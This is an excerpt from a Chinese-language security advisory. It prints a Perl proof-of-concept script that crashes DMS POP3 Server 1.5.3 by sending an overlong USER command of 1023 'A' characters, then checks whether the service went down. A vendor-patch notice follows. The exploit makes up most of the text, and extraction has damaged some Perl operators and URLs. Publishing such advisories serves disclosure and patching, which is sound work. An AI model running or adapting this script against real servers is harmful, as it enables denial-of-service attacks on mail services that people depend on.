Reed Arvin （reedarvin@gmail.com）提供了如下测试方法：
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl
#
DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# _blankhttp://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# _blankhttp://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################
use IO::Socket;
use strict;
my($socket) = "";
if ($socket = IO::Socket::INET-new(PeerAddr = $ARGV[0],
PeerPort = $ARGV[1],
Proto
= "TCP"))
{
print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";
sleep(1);
print $socket "USER " . "A" x 1023;
close $socket;
sleep(1);
if ($socket = IO::Socket::INET-new(PeerAddr = $ARGV[0],
PeerPort = $ARGV[1],
Proto
= "TCP"))
{
close $socket;
print "failed!\n";
}
else
{
print "successful!\n";
}
}
else
{
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#===== End DMS_POP3_Overflow.pl =====
建议：
--------------------------------------------------------------------------------
厂商补丁：
Digital Mapping Systems
-----------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载DMS POP3 Server 1.5.4.27：
_blankhttp://www.digitalmapping.sk.ca/pop3srv/Update.asp